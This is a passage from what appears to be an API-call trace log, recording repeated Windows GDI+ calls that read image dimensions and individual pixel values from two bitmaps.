y=4, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=5, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=6, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=7, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=8, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=9, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=10, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=11, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=12, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=13, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.155] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.155] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=14, color=0x540e3d0) returned 0x0 [0226.155] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=15, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=16, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=17, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=18, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=19, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=20, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=21, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=22, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.156] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.156] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=23, color=0x540e3d0) returned 0x0 [0226.156] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=24, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=25, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=26, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=27, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=28, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=29, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=30, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=31, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.157] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=32, color=0x540e3d0) returned 0x0 [0226.157] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.157] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=33, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=34, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=35, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=36, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=37, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=38, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=39, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=40, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.158] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=41, color=0x540e3d0) returned 0x0 [0226.158] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.158] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=42, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=43, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=44, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=45, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=46, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=47, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=48, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=49, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=50, color=0x540e3d0) returned 0x0 [0226.159] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.159] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.159] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=51, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=52, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=53, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=54, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=55, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=56, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=57, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=58, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=59, color=0x540e3d0) returned 0x0 [0226.160] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.160] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.160] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=60, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=61, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=62, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=63, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=64, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=65, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=66, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=67, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=68, color=0x540e3d0) returned 0x0 [0226.161] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.161] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.161] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=69, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=70, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=71, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=72, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=73, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=74, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=75, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=76, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=77, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.162] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=78, color=0x540e3d0) returned 0x0 [0226.162] GdipGetImageHeight (image=0x4ae5600, height=0x540e3e4) returned 0x0 [0226.163] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.163] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.163] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=0, color=0x540e3d0) returned 0x0 [0226.163] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.163] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.163] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=1, color=0x540e3d0) returned 0x0 [0226.163] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.163] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.163] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=2, color=0x540e3d0) returned 0x0 [0226.163] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.163] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.163] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=3, color=0x540e3d0) returned 0x0 [0226.163] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.175] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=4, color=0x540e3d0) returned 0x0 [0226.176] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.176] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=5, color=0x540e3d0) returned 0x0 [0226.176] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.176] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=6, color=0x540e3d0) returned 0x0 [0226.176] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.176] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=7, color=0x540e3d0) returned 0x0 [0226.176] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=8, color=0x540e3d0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=9, color=0x540e3d0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=10, color=0x540e3d0) returned 0x0 [0226.176] GdipBitmapGetPixel (bitmap=0x4ae5600, x=3, y=11, color=0x540e3d0) returned 0x0 [0226.177] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.177] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.528] GdipGetImageWidth (image=0x4ad7818, width=0x540e3e4) returned 0x0 [0226.528] GdipGetImageHeight (image=0x4ad7818, height=0x540e3e4) returned 0x0 [0226.528] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.528] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.528] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=0, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=1, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=2, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=3, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=4, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=5, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=6, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=7, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=8, color=0x540e3d0) returned 0x0 [0226.529] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.529] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.529] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=9, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=10, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=11, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=12, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=13, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=14, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=15, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=16, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=17, 